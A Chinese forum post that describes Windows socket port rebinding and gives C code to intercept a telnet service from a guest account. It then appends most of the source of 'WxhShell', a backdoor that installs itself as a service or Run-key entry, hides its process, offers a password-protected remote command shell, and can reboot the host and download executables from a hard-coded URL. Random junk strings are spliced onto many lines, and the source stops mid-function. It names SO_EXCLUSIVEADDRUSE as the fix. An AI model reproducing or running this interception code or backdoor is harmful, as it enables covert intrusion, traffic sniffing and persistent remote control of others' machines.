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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: M\6u4p!G!  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); i[ 40p!~  
XI7:y4M  
  saddr.sin_family = AF_INET; ~%d*#Yxq  
EB2 5N~7  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); v/z~ j  
*7UDTgY  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); -I*NS6  
Z<W`5sop^  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Y2>0Y3yM  
.XPPd?R  
  这意味着什么?意味着可以进行如下的攻击: W'}^m*F  
E-"b":@:  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ~?<VT k  
+~f5dJyk`  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 1YJ@9*l  
I_3{i`g  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Q5>]f/LD  
At)\$GJ  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  SJ).L.Cm6  
(U^f0wJg  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 J8#3?Lp  
*7G5\[gI$  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 WYY&MHp  
3Q~zli:  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 p}d+L{"V  
R/@n+tb e  
  #include yR4++yk  
  #include _ a -At  
  #include n2;Vrs,<1&  
  #include    t# <(Q  
  DWORD WINAPI ClientThread(LPVOID lpParam);   .qg 2zE$0  
  int main() ?i5=sK\  
  { D,&o=EU  
  WORD wVersionRequested; Zg/ ],/`  
  DWORD ret; dZ%rmTE(H  
  WSADATA wsaData; OoOr@5g  
  BOOL val; $0P7^4)w:  
  SOCKADDR_IN saddr; x}X hL  
  SOCKADDR_IN scaddr; $E h:m&hq  
  int err;  PpWdZ  
  SOCKET s; [28Vf"#]  
  SOCKET sc; <g'0q*qE  
  int caddsize; x{I, gu|+  
  HANDLE mt; ZZJ<JdD  
  DWORD tid;   6<m9guv  
  wVersionRequested = MAKEWORD( 2, 2 ); 08F~6e6a8  
  err = WSAStartup( wVersionRequested, &wsaData ); I6RF;m:Jw  
  if ( err != 0 ) { bm#/ KT_8  
  printf("error!WSAStartup failed!\n"); Yrmd hSY  
  return -1; <-O^ol,fX  
  } eg(1kDMpn  
  saddr.sin_family = AF_INET; <jIuVX  
   2 3*OuY  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 NkY7Hg0  
B> V)6\   
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); I|R;)[;X  
  saddr.sin_port = htons(23); VGeyZ\vU  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 0W!S.]^1  
  { $ nHf0.V1  
  printf("error!socket failed!\n");  [kL`'yi  
  return -1; !G~`5?CvE  
  } #kRt\Fzq  
  val = TRUE; bguTWI8bk  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 f/UIpswrZ'  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) F@rx/3 [  
  { IUSV\X9  
  printf("error!setsockopt failed!\n"); j+NsNIJq  
  return -1; -mqL[ h,  
  } 9/$Cq  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; l }WvO]  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽  re@;6o  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 EN;4EC7tE  
:XCRKRDLE  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) UB3hC`N\  
  { \CVrLn;}  
  ret=GetLastError(); c%5Suu( J6  
  printf("error!bind failed!\n"); /[,0,B9!3  
  return -1; p%ZAVd*|#V  
  } N.dcQQ_iS  
  listen(s,2); ,FWsgqL{l  
  while(1) !T RU  
  { y[d>7fcf  
  caddsize = sizeof(scaddr); KkyZd9  
  //接受连接请求 $_Q]3"U  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); a|kEza,]  
  if(sc!=INVALID_SOCKET) gRg8D{  
  { Q 1[E iM3  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); IA^*?,AZy  
  if(mt==NULL) ]@ N::!m  
  { &*9 ' 0  
  printf("Thread Creat Failed!\n"); M{Hy=:K+  
  break; "mB /"  
  } K-4o_:F  
  } bD<hzOa  
  CloseHandle(mt); H-jxH,mJmW  
  } (Ky$(Ubb#6  
  closesocket(s); JGQ)/(  
  WSACleanup(); ,)Z1&J?  
  return 0; bEli!N$  
  }   #@}wl  
  DWORD WINAPI ClientThread(LPVOID lpParam) ewVks>lbz  
  { kWbD?i-  
  SOCKET ss = (SOCKET)lpParam; .9@y*_ 9  
  SOCKET sc; g![?P"i^t  
  unsigned char buf[4096]; Hl=M{)q@   
  SOCKADDR_IN saddr; 'W*ODAz6  
  long num; ~ As_O6JI  
  DWORD val; ,QPo%{:p  
  DWORD ret; uL |O<  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Z=zD~ka  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ^EcwY- Qr  
  saddr.sin_family = AF_INET; ; ~#uH7k  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); k`NXYf:  
  saddr.sin_port = htons(23); :[?65q{  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) |C}=  1  
  { jq( QL%)_O  
  printf("error!socket failed!\n"); wPl9%  
  return -1; Tno 0Q +  
  } B~47mw&b  
  val = 100; Yge}P:d9  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 8B7~Nq'  
  { /PZxF  
  ret = GetLastError(); Y;#H0v>E  
  return -1; wPxtQv  
  } I\P w`  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) M+-1/vR *@  
  { Cp^`-=r+  
  ret = GetLastError(); m(CAXq-t  
  return -1; 2k+u_tj>  
  } )uC5  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) A@)ou0[n@  
  { [ ]42$5eof  
  printf("error!socket connect failed!\n"); UAOH9*9*  
  closesocket(sc); %6E:SI 4  
  closesocket(ss); gp NAM"  
  return -1; 5v"Sv  
  } Esdw^MGL2  
  while(1) <8BNqbX  
  { %:yVjb,Yf  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Vu;z|L  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录  J7p?9  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Vw+RRi(  
  num = recv(ss,buf,4096,0); +k\cmDcb  
  if(num>0) fF.sT7Az+  
  send(sc,buf,num,0); +l;AL5h  
  else if(num==0) b] ~  
  break; jPEOp#C  
  num = recv(sc,buf,4096,0); S^_F0</U,  
  if(num>0) @waY+sqt=  
  send(ss,buf,num,0); =O>E>Q  
  else if(num==0) :Hj #1-U  
  break; d'[]  
  } pZ5eGA=  
  closesocket(ss); _zDf8hy  
  closesocket(sc); Xk}\-&C7  
  return 0 ; Y@limkN:  
  } Uf#9y182*c  
9YY*)5eyD  
zj 2l&)N  
========================================================== .4XX )f5  
c|Fu6LF a  
下边附上一个代码,,WXhSHELL ? u~?:a@K  
@P/6NMjZ^  
========================================================== Vr hd\  
|nmt /[  
#include "stdafx.h" h I7ur  
?xw0kXK4  
#include <stdio.h> tf6 Zz[  
#include <string.h> =6gi4!hE  
#include <windows.h> 'Xu3]'m*  
#include <winsock2.h> }NKnV3G/Z  
#include <winsvc.h> S^A+Km3VB  
#include <urlmon.h> 0ni/!}YP_  
G<Y}QhFU  
#pragma comment (lib, "Ws2_32.lib") -YY@[5x?u  
#pragma comment (lib, "urlmon.lib") j> dL:V&`  
 0X}0,  
#define MAX_USER   100 // 最大客户端连接数 sF~!qag4q'  
#define BUF_SOCK   200 // sock buffer ?Lbn R~/J  
#define KEY_BUFF   255 // 输入 buffer #7=- zda5  
[}`-KpV!;  
#define REBOOT     0   // 重启 Dr5AJ`y9A  
#define SHUTDOWN   1   // 关机 U3BhoD#f\  
2#R8}\  
#define DEF_PORT   5000 // 监听端口 _*CbtQb5  
lQ#='Jqfp  
#define REG_LEN     16   // 注册表键长度 !7Nz_d~n  
#define SVC_LEN     80   // NT服务名长度 23/;W|   
naVbcY  
// 从dll定义API HM &"2c  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 3|=L1Pw#  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); c+501's  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); F"0=r  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 0}N"L ml  
s f8F h  
// wxhshell配置信息 6Cgc-KNbk  
struct WSCFG { .q|k459oi  
  int ws_port;         // 监听端口 P.- `[  
  char ws_passstr[REG_LEN]; // 口令 sPvjJr"s  
  int ws_autoins;       // 安装标记, 1=yes 0=no \WxBtpbQ B  
  char ws_regname[REG_LEN]; // 注册表键名 I-m Bj8^;  
  char ws_svcname[REG_LEN]; // 服务名 id [caP=`  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 '3fN2[(  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ~nb1c:F  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 q_Z6s5O  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Z6 E_Y?  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" kY{;(b3Q  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 KO[,C[;|j  
2b&Fu\2Dmv  
}; HNd? '  
;e$YM;;d  
// default Wxhshell configuration Yb4%W-5  
struct WSCFG wscfg={DEF_PORT, vr } -u  
    "xuhuanlingzhe", t"P:}ps{?  
    1, +aN"*//i  
    "Wxhshell", vQy+^deW  
    "Wxhshell", z/wwe\ a5  
            "WxhShell Service", 3L9@ELY4  
    "Wrsky Windows CmdShell Service", /6:qmh2  
    "Please Input Your Password: ", :D~J(Y2  
  1, @.L/HXu-P  
  "http://www.wrsky.com/wxhshell.exe", UmG|_7  
  "Wxhshell.exe" BbhC 0q"J  
    }; .yB{+  
RcOfesW o  
// 消息定义模块 #U.6HBuQa  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; S=G2%u!;  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 1v 4M*  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; y7x*:xR[  
char *msg_ws_ext="\n\rExit."; 6N[X:F 3`,  
char *msg_ws_end="\n\rQuit."; \|CuTb;0  
char *msg_ws_boot="\n\rReboot..."; h)Ol1[y`  
char *msg_ws_poff="\n\rShutdown..."; zBc |gx  
char *msg_ws_down="\n\rSave to "; !o\e/HGc!  
!,R=6b$E5  
char *msg_ws_err="\n\rErr!"; RLfB]\w  
char *msg_ws_ok="\n\rOK!"; >fzFNcO*  
pO)5NbU  
char ExeFile[MAX_PATH]; kAq#cLprG  
int nUser = 0; }8'b}7!  
HANDLE handles[MAX_USER]; 6[-[6%o#z  
int OsIsNt; KPA.5,ai  
qWD(rq+9  
SERVICE_STATUS       serviceStatus; !\!j?z=O8  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; hGRHuJ  
Nka 3H7 `  
// 函数声明 d<[L^s9  
int Install(void); f$qkb$?]}  
int Uninstall(void); 38GZ_ z}r  
int DownloadFile(char *sURL, SOCKET wsh); s7,D}Zz  
int Boot(int flag); ._q<~_~R  
void HideProc(void); 0cq<!{d  
int GetOsVer(void); &r2\P6J  
int Wxhshell(SOCKET wsl); 73JrK_h  
void TalkWithClient(void *cs); yB|1?L#  
int CmdShell(SOCKET sock); 85lcd4&~  
int StartFromService(void); "[0.a\ d<  
int StartWxhshell(LPSTR lpCmdLine); C8D`:k  
<GLn!~Px@5  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); .-)kIFMi  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); iXL?ic  
nO#x "  
// 数据结构和表定义 e-#V s{?|r  
SERVICE_TABLE_ENTRY DispatchTable[] = /@&#U bN\  
{ `><E J'h  
{wscfg.ws_svcname, NTServiceMain}, &0]5zQ  
{NULL, NULL} Kl<NAv%j  
}; )KOIf{  
}i J$&CJ  
// 自我安装 nd&i9l  
int Install(void) t9)S^: 0  
{ f{2I2kJr  
  char svExeFile[MAX_PATH]; J?Oeuk~[D  
  HKEY key; qG +PqK;  
  strcpy(svExeFile,ExeFile); J~C=o(r  
L3A2A  
// 如果是win9x系统,修改注册表设为自启动 'mZQ}U=<  
if(!OsIsNt) { )iFXa<5h  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { O=6[/oc '  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); "28zLo3  
  RegCloseKey(key); w~yC^`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { zbgGK7  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ]E6r )C  
  RegCloseKey(key); x"r,l/gzy  
  return 0; =}YX I  
    } !j}L-1*{ l  
  } j4u ["O3  
} @9R78Zra  
else { s6'=4gM  
d{"@<0i?  
// 如果是NT以上系统,安装为系统服务 '_5|9 }  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); LqNyi   
if (schSCManager!=0) F x^X(!)~]  
{ >dgz/n?:v  
  SC_HANDLE schService = CreateService Vcnc=ct  
  ( PkLNIp1  
  schSCManager, i[:cG  
  wscfg.ws_svcname, #\_ 8y`{x  
  wscfg.ws_svcdisp, zRbY]dW  
  SERVICE_ALL_ACCESS, z#1"0Ks&P  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 20}w . V  
  SERVICE_AUTO_START, {h PB%  
  SERVICE_ERROR_NORMAL, UZ#oaD8H6  
  svExeFile, a$Hq<~46  
  NULL, ~+ 9v z  
  NULL, _?bO /y_y  
  NULL, Ubgn^+AI  
  NULL, 7D1$cmtH  
  NULL V7.g,  
  ); u:mndTpB6x  
  if (schService!=0) xP/q[7>#Q  
  { g@T}h[  
  CloseServiceHandle(schService); #2Iag' 4T  
  CloseServiceHandle(schSCManager); Sp*4Z`^je  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); e\O-5hp7  
  strcat(svExeFile,wscfg.ws_svcname); *+nw%gZG  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { #sxv?r  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); )@P*F) g~  
  RegCloseKey(key); C|h Uyo  
  return 0; :(wFNK/0{  
    } k1ja ([Q  
  } FBbaLqgVF{  
  CloseServiceHandle(schSCManager); (=%0$(S>  
} <fF|AbC:  
} -m@PqJF^  
'GT^araz  
return 1; '#=0q  
} *,IK4F6>:  
- Ry+WS=  
// 自我卸载 ;<_a ,5\Q  
int Uninstall(void) P$Oj3HD LM  
{ }2iR=$2  
  HKEY key; H5 V>d  
*C<;yPVc  
if(!OsIsNt) { F-oe49p5e  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { >\w]i*%  
  RegDeleteValue(key,wscfg.ws_regname); vB}c6A4'U  
  RegCloseKey(key); r7L.W  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 1z-A3a/-  
  RegDeleteValue(key,wscfg.ws_regname); 5+;Mc[V3-  
  RegCloseKey(key); IvlfX`("  
  return 0; jM @N<k  
  } 0{ ~2mggh  
} L`X5\D'X  
} a(=lQ(v/?  
else { 841y"@*BY  
- jCj_@n  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ?$T^L"~  
if (schSCManager!=0) w52p y7  
{ fGqX dlP  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); AI|+*amTd  
  if (schService!=0) p$qk\efv*4  
  { H%gAgXHn  
  if(DeleteService(schService)!=0) { UoKVl-  
  CloseServiceHandle(schService); tfZ@4%'  
  CloseServiceHandle(schSCManager); qw?(^uZNW  
  return 0; =J)<Nx.gA  
  } wDGb h=  
  CloseServiceHandle(schService); GZ,MC?W  
  } =B5{7g\  
  CloseServiceHandle(schSCManager); N5,LHO  
}  mC$y*G  
} 6@t&  
2QM{e!9  
return 1; FO%pdLs,  
} s\pukpf@  
p6K~b  
// 从指定url下载文件 ?|+e*{4k  
int DownloadFile(char *sURL, SOCKET wsh) 2[HPU M2>  
{ GK!@|Kk8q7  
  HRESULT hr; `lWGwFgg(  
char seps[]= "/"; I`H&b& .`  
char *token; 8V 4e\q  
char *file; xPPA8~Dm*  
char myURL[MAX_PATH]; Y0T:%  
char myFILE[MAX_PATH]; af %w|M  
AU}kIm_+  
strcpy(myURL,sURL); u~ipB*Zf  
  token=strtok(myURL,seps); aHmg!s}&  
  while(token!=NULL) 7QNx*8p  
  { NsP=l]  
    file=token; <kPNe>-f  
  token=strtok(NULL,seps); ZTV)D  
  } t!*[nfR  
1n[)({OQ  
GetCurrentDirectory(MAX_PATH,myFILE); 8.n#@%  
strcat(myFILE, "\\"); vxTn  
strcat(myFILE, file); _:=\h5}8  
  send(wsh,myFILE,strlen(myFILE),0); HbI{Xf[6LP  
send(wsh,"...",3,0); ,;Wm>V)o  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); vt2. i$u  
  if(hr==S_OK) G<D8a2q  
return 0; hTzj{}w  
else R[j?\#  
return 1; Z4Dx:m-  
&K[sb%  
} *$BUow/>  
[n)ak)_/  
// 系统电源模块 cx$h"  
int Boot(int flag) *X/Vt$P  
{ GEF's#YWK  
  HANDLE hToken; j?m(l,YD|*  
  TOKEN_PRIVILEGES tkp; vj%"x/TP  
#e-K It  
  if(OsIsNt) { QK[^G6TI  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); \}v@!PQl  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); @jm+TW  
    tkp.PrivilegeCount = 1; Pz{MYw  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 4KtD  k  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); oI/_WY[t  
if(flag==REBOOT) { ][jwy-Uy;  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ;_c&J&I  
  return 0; =VzJ>!0  
} j \jMN*dmV  
else { hmGlGc,lf  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Ye&/O<G'V  
  return 0; \-pwA j?  
} L?+N:G  
  } g;'S5w9S  
  else { H=C~h\me?  
if(flag==REBOOT) { x-k-Pd  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) h~\k;ca  
  return 0; Si]?4:E7=  
} N=Ct3  
else { `e<IO_cg  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 9dNkKMc@  
  return 0; SNOc1c<~  
} rIPfO'T?  
} +;lDU}$  
A{ T9-f@X  
return 1; YiO}"  
} UTh2? Rh/  
UX63BA  
// win9x进程隐藏模块 @3KSoA"^  
void HideProc(void) )VkVZf | S  
{ 6Q7=6  
nt$P A(Y  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); En9J7es_  
  if ( hKernel != NULL ) X-(( [A  
  { 81x/ bx@L%  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); >^Wpc  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); >W] Wc4 \  
    FreeLibrary(hKernel); F\xIVY  
  } dY&v(~&;]  
#~nXAs]Q  
return; y/Y}C.IWp)  
} \Hrcf+`  
Y GOkqI  
// 获取操作系统版本 *sU,waX  
int GetOsVer(void) >;,23X  
{ r4/b~n+*  
  OSVERSIONINFO winfo; kE'p=dXx  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 8QJr!#u  
  GetVersionEx(&winfo); 36(qe"s  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) en'[_43  
  return 1; HJN GO[*g  
  else ~/K&=xE  
  return 0; NzyEsZ]$  
} "=s}xAM|A  
|Jd8ul:&e  
// 客户端句柄模块 ^g6v#]&WA  
int Wxhshell(SOCKET wsl) aSIb0`(3  
{ `oikSx$vB.  
  SOCKET wsh; yg'CL/P  
  struct sockaddr_in client; 2WH(c$6PWf  
  DWORD myID; f\= @jV  
wE.jf.q  
  while(nUser<MAX_USER) 1gK^x^l*f  
{ 8Pa*d/5Y(  
  int nSize=sizeof(client); '+/mt_re=  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); '6qH@r4Z<  
  if(wsh==INVALID_SOCKET) return 1; wsB-( 0-  
4N$Wpx  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Ur< (TM  
if(handles[nUser]==0) S y <E@1  
  closesocket(wsh); ty['yV-;a  
else h SS9mQ  
  nUser++; =<HekiYM  
  } +BtLd+)R  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); <tbs,lcw;  
6Zn[l,\  
  return 0; uo]\L^j   
} IrCl\HQN  
qpe9?`vVX  
// 关闭 socket oQ]FyV  
void CloseIt(SOCKET wsh) )?SFIQ=  
{ &77J,\C$:  
closesocket(wsh); w,j!%N  
nUser--; N7"cMAs\G  
ExitThread(0); 2Xv}JPS2As  
} >x6\A7  
t=Rl`1 =(K  
// 客户端请求句柄 3Y)z{o>P  
void TalkWithClient(void *cs) >Um(gbG  
{ )fXw~  
W895@  
  SOCKET wsh=(SOCKET)cs; e"^WXP.t&  
  char pwd[SVC_LEN]; h!(# /  
  char cmd[KEY_BUFF]; 6)YckxN^  
char chr[1]; !1R?3rVQS  
int i,j; /1/'zF&R-  
G2wSd'n*y  
  while (nUser < MAX_USER) { 0N!rIz  
',[AKXJ  
if(wscfg.ws_passstr) { h& 4#5{=  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ZK t{3P  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); B]yO  
  //ZeroMemory(pwd,KEY_BUFF);  -V2`[k  
      i=0; .{t5_,P  
  while(i<SVC_LEN) { jNX6Ct?  
-2}ons(  
  // 设置超时 y{(Dv}   
  fd_set FdRead; j07A>G-=  
  struct timeval TimeOut; Cd^1E]O0{  
  FD_ZERO(&FdRead); !U4YA1>>  
  FD_SET(wsh,&FdRead); g/$RuT2U  
  TimeOut.tv_sec=8; G L0P&$h  
  TimeOut.tv_usec=0; aO inD  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); r\fkx>  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); $ZyOBxI  
lQ^"-zO4  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); *N ~'0"#  
  pwd=chr[0]; =jm\8sl~~  
  if(chr[0]==0xd || chr[0]==0xa) { Ew.6y=Ba  
  pwd=0; {Q$8p2W  
  break; M<l<n$rYS  
  } eVMnI yr  
  i++; e`LvHU_0  
    } %F150$(D  
\>oy2{=;'  
  // 如果是非法用户,关闭 socket oc-&}R4=  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); GJU(1%-  
} imM#zy  
t 4M-;y  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); |AExaO"jk  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); k f Y;  
3jfAv@I~  
while(1) { wU'+4N".  
% mPv1$FH  
  ZeroMemory(cmd,KEY_BUFF); 'e<8j  
FU*q9s`  
      // 自动支持客户端 telnet标准   fS'` 9  
  j=0; \ 6taC  
  while(j<KEY_BUFF) { _ j'm2BA O  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); "u sPzp5  
  cmd[j]=chr[0]; >f&L7@  
  if(chr[0]==0xa || chr[0]==0xd) { ;=P!fvHk  
  cmd[j]=0; \goiW;b  
  break; Zonn  
  } fbdpDVmpU  
  j++; 8]#J_|A6Z  
    } =s.0 f:(  
mIrN~)C4\  
  // 下载文件 FnOa hLS  
  if(strstr(cmd,"http://")) { 1\lZ&KX$i  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); <ir]bQT  
  if(DownloadFile(cmd,wsh)) wLI1qoDM  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); %'. x vC  
  else eFy {VpO+  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >*B59+1P  
  } -e"kJd&V  
  else { xp^Jp  
4;32 f`  
    switch(cmd[0]) { Y0Tw:1a  
  uTO%O}D N  
  // 帮助 M;AvOk|&  
  case '?': { T_wh)B4xW  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); )iC@n8f7o  
    break; m%;LJ~R  
  } -~J5aG[@~>  
  // 安装 3TV4|&W;  
  case 'i': { * _usVg  
    if(Install()) 8qfXc ^6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6e.l# c!1}  
    else 7z\ #"~(.  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |G/)<1P  
    break; mss.\  
    } S&l [z,  
  // 卸载 %<O~eXY  
  case 'r': { hH05p!2  
    if(Uninstall()) &Vpr[S@:{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); C^_m>H3b  
    else (*vBpJyz%  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); e^;:iJS  
    break; b ettOg  
    } &N/dxKZcc  
  // 显示 wxhshell 所在路径  ]sP  
  case 'p': { Zv mkb%8  
    char svExeFile[MAX_PATH]; ;5T}@4m|r  
    strcpy(svExeFile,"\n\r"); yP` K [/  
      strcat(svExeFile,ExeFile); FH%: NO  
        send(wsh,svExeFile,strlen(svExeFile),0); M djxTr^  
    break; N<KsQsy=  
    } `|92!Ej  
  // 重启 ;1_3E2E$  
  case 'b': { Fwvc+ a  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); !"E/6z2&(k  
    if(Boot(REBOOT)) 9G7Brs:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Bz%wV-  
    else { m9 c`"!  
    closesocket(wsh); $Dv5TUKw  
    ExitThread(0); ^rY18?XC+:  
    } OYmutq  
    break; ]70ZerQ~L  
    } &VCg`r-{~  
  // 关机 EK Q>hww8  
  case 'd': { v/vPU  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); F]<2nb7  
